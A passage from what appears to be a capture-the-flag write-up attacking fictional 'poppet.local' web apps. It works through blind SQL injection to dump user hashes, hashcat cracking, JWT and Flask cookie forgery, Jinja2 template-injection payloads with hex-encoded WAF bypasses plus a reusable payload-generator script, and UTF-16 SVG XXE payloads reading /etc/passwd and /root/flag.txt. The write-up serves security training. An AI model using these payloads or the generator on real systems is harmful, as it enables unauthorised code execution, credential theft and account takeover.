Finally, we extract the credentials. For each of the first ten user records, we dump the `username`, `password`, and `role` fields via `LIMIT 1 OFFSET $i`.

{% code overflow="wrap" expandable="true" %}

```
COUNT=10
for i in $(seq 0 $((COUNT-1))); do
  echo "=== row $i ==="
  ./poppet_blind.py "(/*!50000SELECT*/ username /*!50000FROM*/ crm_db.crm_users LIMIT 1 OFFSET $i)" -t 20
  ./poppet_blind.py "(/*!50000SELECT*/ password /*!50000FROM*/ crm_db.crm_users LIMIT 1 OFFSET $i)" -t 20
  ./poppet_blind.py "(/*!50000SELECT*/ role /*!50000FROM*/ crm_db.crm_users LIMIT 1 OFFSET $i)" -t 20
done
```

{% endcode %}

<figure><img src="/files/0bCCIYDB9DKuTqkoxFzl" alt=""><figcaption></figcaption></figure>

We end up with four hashes and save the to a file called `crm-hashes.txt`.

<figure><img src="/files/KPHpj6hpvsbuEddU6z75" alt=""><figcaption></figcaption></figure>

Next, we try to crack them and are able to retrieve the password of the user `guest`.

{% code overflow="wrap" expandable="true" %}

```
hashcat -a0 -m1400 crm-hashes.txt /usr/share/wordlists/rockyou.txt
```

{% endcode %}

<figure><img src="/files/mKTIlaE5ClDirws39bfR" alt=""><figcaption></figcaption></figure>

We head to the crm endpoint and enter the credentials.

{% code overflow="wrap" expandable="true" %}

```
http://crm.poppet.local/login
```

{% endcode %}

<figure><img src="/files/5joEt6PBTNP0AOWW0ocK" alt=""><figcaption></figcaption></figure>

We are logged in and have now access to the dashboard.

{% code overflow="wrap" expandable="true" %}

```
http://crm.poppet.local/dashboard
```

{% endcode %}

<figure><img src="/files/wmI9St9iaduHB0peU7gl" alt=""><figcaption></figcaption></figure>

## Access as j.martinez on crm.poppet.local

We see a JWT session cookie is being used.

<figure><img src="/files/X6U6xKAAwfra8UM3yteu" alt=""><figcaption></figcaption></figure>

We leverage jwt.io to decode the cookie and uncover the structure.

{% embed url="<https://www.jwt.io>" %}

<figure><img src="/files/rFmEyUoHBLxdXo9MdU9K" alt=""><figcaption></figcaption></figure>

We try to crack the cookie and retrieve the password using hashcat iwth mode `16500` and are successful. This allows us to craft and sign our own cookie.

{% code overflow="wrap" expandable="true" %}

```
hashcat -a0 -m16500 'redacted' rockyou.txt --show
```

{% endcode %}

<figure><img src="/files/qvPjdsdLjWBZfXAjH01N" alt=""><figcaption></figcaption></figure>

Since we have access as `j.martinez` at `payroll.poppet.local` and test the Position Description being synced we target a session as `j.martinez`.

<figure><img src="/files/hblTUaDtrBW4qH5lWS3h" alt=""><figcaption></figcaption></figure>

We craft the cookie using jwt.io and provide the secret.

<figure><img src="/files/6HtMuL5PTIulw2UaRlOI" alt=""><figcaption></figcaption></figure>

After replacing the cookie we have access as `j.martinez` and are able to edit the profile of that user. Furthermore we are now able to spot the note from before.

{% code overflow="wrap" expandable="true" %}

```
http://crm.poppet.local/employees/1
```

{% endcode %}

<figure><img src="/files/8T53W0WRy0V3ctW9X1Ys" alt=""><figcaption></figcaption></figure>

## Access as toybot on poppet.local

Next, we edit the profile and see if the changes are applied to the payroll portal.

{% code overflow="wrap" expandable="true" %}

```
http://crm.poppet.local/employees/1/edit
```

{% endcode %}

<figure><img src="/files/Pw9pjhIrvS1sQNuOQFTG" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/IvAlAmAE9QNLdEhaBlTF" alt=""><figcaption></figcaption></figure>

And the changes are also here visible and reflected.

{% code overflow="wrap" expandable="true" %}

```
http://payroll.poppet.local/employees/1
```

{% endcode %}

<figure><img src="/files/mE0iok8mLs1n5R9ol5Nl" alt=""><figcaption></figcaption></figure>

Next, we try some simple SSTI payloads, but do not see any evaluation on `crm.poppet.local`.

{% code overflow="wrap" expandable="true" %}

```
http://crm.poppet.local/employees/1/edit
```

{% endcode %}

<figure><img src="/files/DYVDuaIBRhQICTC7IISE" alt=""><figcaption></figcaption></figure>

But the SSTI payload is being evaluated at `payroll.poppet.local`.

{% code overflow="wrap" expandable="true" %}

```
http://payroll.poppet.local/employees/1
```

{% endcode %}

<figure><img src="/files/i9nITViPgK8Mbv7ySeiB" alt=""><figcaption></figcaption></figure>

We try to use a payload from Ingo Kleiber to test for RCE on Flask (Jinja2) SSTI.

The idea behind the payload is that the chain walks Python's object model up from a `request` object up through `__globals__` and `__builtins__` to reach the `__import__` function, letting it import `os` and run an arbitrary shell command like `id` whose output is read back into the rendered page.

But our payload gets blocked.&#x20;

Now we need to check for every keyword to identify some gaps in the WAF.

{% embed url="<https://kleiber.me/blog/2021/10/31/python-flask-jinja2-ssti-example/>" %}

{% code overflow="wrap" expandable="true" %}

```
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
```

{% endcode %}

<figure><img src="/files/kxAajCqfHF8BaG1KSXDk" alt=""><figcaption></figcaption></figure>

Unfortunately `request` is being blocked.

{% code overflow="wrap" expandable="true" %}

```
{{request}}
```

{% endcode %}

<figure><img src="/files/gbPOfn7oa2zgCmbMYIH9" alt=""><figcaption></figcaption></figure>

We try some other and are successful with `url_for`.

{% code overflow="wrap" expandable="true" %}

```
{{lipsum.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{cycler.__init__.__globals__.os.popen('id').read()}}
{{joiner.__init__.__globals__.os.popen('id').read()}}
{{namespace.__init__.__globals__.os.popen('id').read()}}
{{url_for.__globals__.os.popen('id').read()}}
{{get_flashed_messages.__globals__.os.popen('id').read()}}
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
{{url_for}}
```

{% endcode %}

<figure><img src="/files/Ex0jRXZLdqq0o3TVoTpK" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
{{url_for.__globals__.os.popen('id').read()}}
```

{% endcode %}

Next we try to pipe the `url_for` object through `attr()` filters to reach its `__globals__`. But this fails too

{% code overflow="wrap" expandable="true" %}

```
{{url_for|attr("__globals__")|attr("get")("os")|attr("popen")("id")|attr("read")()}}
```

{% endcode %}

But `attr` is not the reason why it fails.

{% code overflow="wrap" expandable="true" %}

```
{{attr}}
```

{% endcode %}

<figure><img src="/files/IBZlAFrfSFo5iFfmQ1qr" alt=""><figcaption></figcaption></figure>

Next, we encode every keyword to hex and this time we are successful and it gets evaluated. We have remote code execution as `root`.

{% code overflow="wrap" expandable="true" %}

```
{{url_for|attr("__globals__")|attr("get")("os")|attr("popen")("id")|attr("read")()}}
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
{{url_for|attr("\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f")|attr("\x67\x65\x74")("\x6f\x73")|attr("\x70\x6f\x70\x65\x6e")("\x69\x64")|attr("\x72\x65\x61\x64")()}}
```

{% endcode %}

<figure><img src="/files/Ne1ruWGoJAeNzB9Dnvte" alt=""><figcaption></figcaption></figure>

To automate the encoding we craft a little script, which can be used in future challenges.

{% code title="ssti.py" overflow="wrap" lineNumbers="true" expandable="true" %}

```
#!/usr/bin/env python3
import sys
from urllib.parse import quote

def hex_encode(s):
    return ''.join(f'\\x{b:02x}' for b in s.encode())

def build_payload(cmd):
    return (
        '{{url_for'
        f'|attr("{hex_encode("__globals__")}")'
        f'|attr("{hex_encode("get")}")("{hex_encode("os")}")'
        f'|attr("{hex_encode("popen")}")("{hex_encode(cmd)}")'
        f'|attr("{hex_encode("read")}")()}}}}'
    )

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print('usage: ssti.py "<command>"')
        sys.exit(1)

    cmd = sys.argv[1]
    payload = build_payload(cmd)

    print('--- raw payload ---')
    print(payload)
    print('\n--- url-encoded ---')
    print(quote(payload, safe=''))
    print('\n--- double url-encoded ---')
    print(quote(quote(payload, safe=''), safe=''))
```

{% endcode %}

We test the payload generator to generate a payload to execute id, and it gets evaluated after submitting the payload to the CRM portal.

{% code overflow="wrap" expandable="true" %}

```
python ssti.py 'id'
```

{% endcode %}

<figure><img src="/files/SNlBE15rjKOD1cM28Qza" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
{{url_for|attr("\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f")|attr("\x67\x65\x74")("\x6f\x73")|attr("\x70\x6f\x70\x65\x6e")("\x69\x64")|attr("\x72\x65\x61\x64")()}}
```

{% endcode %}

<figure><img src="/files/aF1sQF4Qc9Jirg1BvzyA" alt=""><figcaption></figcaption></figure>

We try to retrieve the environment variable. And there we find a lot of secrets. We identify an `AUTOMATION_USER` `toybot` and the corresponding password. Furthermore we are able to spot the database credentials and a secret key.

{% code overflow="wrap" expandable="true" %}

```
python ssti.py 'env'
```

{% endcode %}

<figure><img src="/files/PGvlK0oFEdx32WjDBYpz" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
{{url_for|attr("\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f")|attr("\x67\x65\x74")("\x6f\x73")|attr("\x70\x6f\x70\x65\x6e")("\x65\x6e\x76")|attr("\x72\x65\x61\x64")()}}
```

{% endcode %}

<figure><img src="/files/xQWpDuS0mqaJys8F9ZVm" alt=""><figcaption></figcaption></figure>

Since we have command execution we can leverage it to enumerate the database without any filters. But we do not find anything useful here.

{% code overflow="wrap" expandable="true" %}

```
python ssti.py "python3 -c \"import pymysql,json; c=pymysql.connect(host='db',user='payroll_svc',password='PaySvc#2024!',cursorclass=pymysql.cursors.DictCursor); cur=c.cursor(); cur.execute('SHOW DATABASES'); print(json.dumps(cur.fetchall(),default=str))\""
```

{% endcode %}

<figure><img src="/files/U20d78JAebBuyG66kV70" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/2UOsbjNVX7a7CleXHveM" alt=""><figcaption></figcaption></figure>

WE'll focus on the `toybot` user.

<figure><img src="/files/2IpO0IWAq0XNdvAXvPzy" alt=""><figcaption></figcaption></figure>

We had back to the login page we had'nt touched in the entire engagement yet. The one on poppet.local to access the Poppet Design Studio. We enter the credentiasl...

{% code overflow="wrap" expandable="true" %}

```
http://poppet.local/login
```

{% endcode %}

<figure><img src="/files/vxQcrYPui9M6MefuJCj7" alt=""><figcaption></figcaption></figure>

... and are able to authenticate as `toybot`.

{% code overflow="wrap" expandable="true" %}

```
http://poppet.local/dashboard
```

{% endcode %}

<figure><img src="/files/xbfomETi3OGCaaEDLSZu" alt=""><figcaption></figcaption></figure>

Here we have an upload feature available allowing us to upload SVG. This is perfect for testing an XXE vulnerability; maybe we'll find the flag here.

{% code overflow="wrap" expandable="true" %}

```
http://poppet.local/studio
```

{% endcode %}

<figure><img src="/files/UAJ1nVPF2GCzpKlUls9p" alt=""><figcaption></figcaption></figure>

We craft a SVG file containing an XXE payload.

The embedded `<!DOCTYPE>` declares an external entity `&xxe;` pointing at `file:///etc/passwd`, which the server-side XML parser resolves when processing the upload, substituting the file's contents into the rendered SVG and leaking them back to us

{% code overflow="wrap" expandable="true" %}

```
cat > payload.svg << 'EOF'
<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg" width="500" height="500"><text x="0" y="20">&xxe;</text></svg>
EOF
```

{% endcode %}

<figure><img src="/files/QFl9CpZAPQdmaYKitBOJ" alt=""><figcaption></figcaption></figure>

We upload the file, but receive an error.

<figure><img src="/files/EYFZFiAOyzTGf1WNRgl0" alt=""><figcaption></figcaption></figure>

We defined the encoding to be UTF-16. We need to re-save the file as actual UTF-16. We generate a new SVG.

{% code overflow="wrap" expandable="true" %}

```
cat > payload.svg << 'EOF'
<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg" width="500" height="500"><text x="0" y="20">&xxe;</text></svg>
EOF
iconv -f UTF-8 -t UTF-16 payload.svg > payload_utf16.svg
```

{% endcode %}

<figure><img src="/files/epHF2suwUg3j9yjcIIYf" alt=""><figcaption></figcaption></figure>

And upload the utf16 version.

<figure><img src="/files/81zSuUqkUT1pkQfPMaan" alt=""><figcaption></figcaption></figure>

The upload is successful and the XXE gets evaluated. We are able to read the `/etc/passwd` file.

<figure><img src="/files/becNysgcHopfqAgciS7f" alt=""><figcaption></figcaption></figure>

Next, we are looking for the flag. We find what we're looking for in `/root/flag.txt`.

{% code overflow="wrap" expandable="true" %}

```
cat > payload.svg << 'EOF'
<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///root/flag.txt">]>
<svg xmlns="http://www.w3.org/2000/svg" width="500" height="500"><text x="0" y="20">&xxe;</text></svg>
EOF
iconv -f UTF-8 -t UTF-16 payload.svg > payload_utf16.svg
```

{% endcode %}

<figure><img src="/files/io2HXnGlBJzx8MAr3w93" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/XO8TY1ZGIMhNMSG0CLsG" alt=""><figcaption></figcaption></figure>

## Bonus - Access as payroll\_admin on payroll.poppet.local

We recall the env variable that was leaked via SSTI.

<figure><img src="/files/vYsZGN6Ht2CtFZ5CwFjy" alt=""><figcaption></figcaption></figure>

We were able to extract the SECRET\_KEY variable from the env environment variable. It turns out that this is the secret for the Flask cookie. Using this secret, we can now use flask-unsig to create our own `payroll_admin` and gain admin access to `payroll.poppet.local`.

{% code overflow="wrap" expandable="true" %}

```
flask-unsign --sign --cookie "{'employee_id': 0, 'payroll_role': 'admin', 'payroll_user': 'payroll_admin', 'payroll_user_id': 0}" --secret 'REDACTED'
```

{% endcode %}

<figure><img src="/files/K63qxsfLe4Z2oFI5PVHN" alt=""><figcaption></figcaption></figure>

We can now replace the cookie and gain access as `payroll_admin`.

<figure><img src="/files/Ox3wNTb8oLYnPFw0QaY0" alt=""><figcaption></figcaption></figure>
